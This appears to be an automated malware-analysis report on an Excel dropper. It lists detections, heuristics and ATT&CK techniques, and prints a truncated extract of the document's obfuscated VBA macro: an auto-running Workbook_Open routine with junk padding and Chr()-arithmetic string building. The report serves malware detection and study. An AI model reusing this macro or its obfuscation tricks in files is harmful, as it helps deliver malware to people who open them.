MALICIOUS
262
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file is an Excel document containing a Workbook_Open macro, a common technique for executing malicious code upon opening. Heuristics indicate obfuscation and the use of CreateObject, suggesting the macro attempts to download and execute a secondary payload. ClamAV detection further confirms its malicious nature as a dropper.
Heuristics 7
-
ClamAV: Doc.Dropper.Agent-6576083-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6576083-0
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATIONVBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
-
Workbook_Open macro high OLE_VBA_WBOPENWorkbook_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 24451 bytes |
SHA-256: 6d027ae6483e9ae357af958866947e7a53b1b196efc91b0d7b2f26381ec64598 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 9 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub workbook_open()
fNoBsCPePj1__70340.qQHKMTefeBPTAfUkWNyb32_0612
Dim cJeZpbWBFrKtShtQvvOVqkU97344 As Workbook
If CFhDKSLedXkFhliVlxcZnqVATmDpbyclsp72116 = cTHXLitMgWicMeM104180534 Then
Dim ZdYNKgLjhkYOWDfuy2466 As Byte
End If
Dim MsJOOOltgbKzRqaZcBVEYiIQk65295 As Workbook
If annUXIBbkQTVxLOnTdFBkPtxptBJqadjseobxZISIX0_1 = haGDfqGQEEDOzLtpedGrlJmkcTW_815232 Then
Dim nptVmsMhSrlOLCZVYgee81182 As Byte
End If
Dim dhIufMQlYoWa6654652 As Workbook
If LTSbLjRVmdbxtPupMnNDyotGhyqZbbIeVLCsjyKpPI561083170 = rzGKBPRbZlbScWZMuMtruLVwchMCFOcYoqxtAWxaIzC28721 Then
Dim XDCigSXDyvYOfeJhTDOWKIDd5_ As Byte
End If
Dim mZfLXPTiuJytZyfkhKecQbRProdW2266625 As Workbook
If tdrOzYwHmMgjbpTWfPIUYepAeaNKHQUilxpRSjuACYyVevAbH2_630_0 = vkcgIyPnqkZLmzWsxxezCDvVHS83_75599 Then
Dim zfUWiZmCMfrBczZdczUpPZccgxWb32_6364 As Byte
End If
Dim FroHZqzjTUBzZknqAvVfZZbwARDZDrqkD451153 As Workbook
If KxUqkcmAqJHxVQemlck10962 = cqBfQsGHmZfcdRvOnSzPTifjQTyfBYnRPFINJREyeUzaKhe_0 Then
Dim gZBrTlMQtLRPwuaGOl910270 As Byte
End If
Dim NNYIiFVOBlyj44766_ As Workbook
If EZipRGzgUgCoOCrCHDDOlpwUFXqwVEkbSKGsgHcUGhRhKjugO230 = SHxhjxPcOjtPCKPvaWDvyWAbiIDXOJWdKi45_009 Then
Dim CxmtiNqPRXiFDWBlkMqlPwHW7118577 As Byte
End If
Dim ybusOFMQEUHSJgnqEiEcsdEgVc321240_ As Workbook
If ZJmZSGpPvHSyBMKSAjPjcDZAggsfeVXNWlfDd1290310 = fBBculfXFhrRZdVRlAVkmslOKkZjFc80613026 Then
Dim PhHpUhNGiRtcazANFsCvklJSqmQnRJLwRd36 As Byte
End If
Dim RKKjIoEeSD31_2_9 As Workbook
If qKRmOxehhKreXoziRapYGxKxhpDVkOrFTGcgUdZUeeOH42381 = lnnVkaWdpuxtzUFYuJxTSmLRMSNnBUtbjCMuBhkJrNPYIj55362 Then
Dim gAYAaVhuoycWIRNjcVAWJwHKXMYncFWmIdmMPA3817_79 As Byte
End If
Dim tXuoNNSfZSwHkuYlZjtNdOwtSjcpNffATbbdb991 As Workbook
If VjtsrmGqUUcOXDDTBXfbAVel661748950 = cRtnwnJSvKEAzVlbqCyPAbqcbh2991448_ Then
Dim SDwBbzEIPatSugKKTMzDUgmDlyX493525_75 As Byte
End If
Dim OlAbRLPVFVtjEvqFLhXIREpId465 As Workbook
If cYMlRtQcbqXOzcHfKFoZduHebaVNpGKvsxomCknccGd732 = ESqMFPdHzBizhRiKqXCnVgcWBnU302 Then
Dim caRMxXRCLkOQxMzKtJxHVTZxE9_6336034 As Byte
End If
End Sub
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "fNoBsCPePj1__70340"
Dim fhflUwFhJmhVkMBbMASXAOJTLCAvUCGjLqukbSmiFTOvbwrOALZOOBURXLZRwKNGgyJtSRzuOk40_4040 As String
Dim FKeVQEyCMScEYWrHwzVwVslDHHGlwrfOhOWFjBJXJCODsenhprMByKBMYb3364066 As Integer
Dim qrvrirrPSEDNsVqIXWNVWCVfHXRZIOyXDqxHyFvmTjQHyiBlrdddbxIoVQkLZRHDGfKBXiJRbaCnmOgYV70558614 As String
Dim VMcfLANJyqfEumTRbPGlNVDddMuHMdmiEtGTkUOkDoillWyxhCnyQTPAJyBzFFxUDwzAfAhHBWiZmRrHOwaJqnSleFJlSPexqNhpWxSgVgxtkqOrGtkIfoeQdOWZrvol761 As String
Sub qQHKMTefeBPTAfUkWNyb32_0612()
fhflUwFhJmhVkMBbMASXAOJTLCAvUCGjLqukbSmiFTOvbwrOALZOOBURXLZRwKNGgyJtSRzuOk40_4040 = Chr(282 - 184) & Chr(417 - 312) & Chr(287 - 177) & Chr(360 - 314) & Chr(204 - 106) & Chr(356 - 259) & Chr(245 - 130) & Chr(415 - 314) & Chr(57 - 3) & Chr(355 - 303)
Dim bfBdcBoYGdceFfLOYLGh3156 As Workbook
If rUDHgukXrdDoRfWrYPVMopjiUTnMQSnqoBWH95 = ctwhRQgcanMaITpIqutCkUnNHXGYqNzQJPPeSouXIHIgGNDx8735 Then
Dim deAtHUWHGjZtKImNn856 As Byte
End If
Dim vQsDLpBzWtdMGGuTIvL125 As Workbook
If MGJpsHXjOBMAUvtKwLtRoytlbtvAcfZBMaAhmb1832_720 = AvnGnyJsIQNwxIPdXOMYOzMXHjcKotv727 Then
Dim LXVKxeiLvbikenghQmiDmVOMAjPzDV874 As Byte
End If
Dim zEOVBYcyRzpCQwfOikbCMYFqIqJIJOOjHZceVIl614796414 As Workbook
If HESUjOjERhmAfYBJayYMLPToDkFuqUAsZzTxtDV77159_34 = cZlrbXNjLGQBfxvZsleRzIpOxgtbgEEPXdwnaXsQpAuoaTUv6485 Then
Dim eZaMPmWUjWtvemDGBAeCBHzUs_571 As Byte
End If
FKeVQEyCMScEYWrHwzVwVslDHHGlwrfOhOWFjBJXJCODsenhprMByKBMYb3364066 = 0
Dim NbyNAoeLxxGe
... (truncated)
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 66048 bytes |
SHA-256: bc046636d0947c1ccde91438efa61ca299b2e649181e7526c0d3a18efcf9208b |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 7 long base64-like blob(s).
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.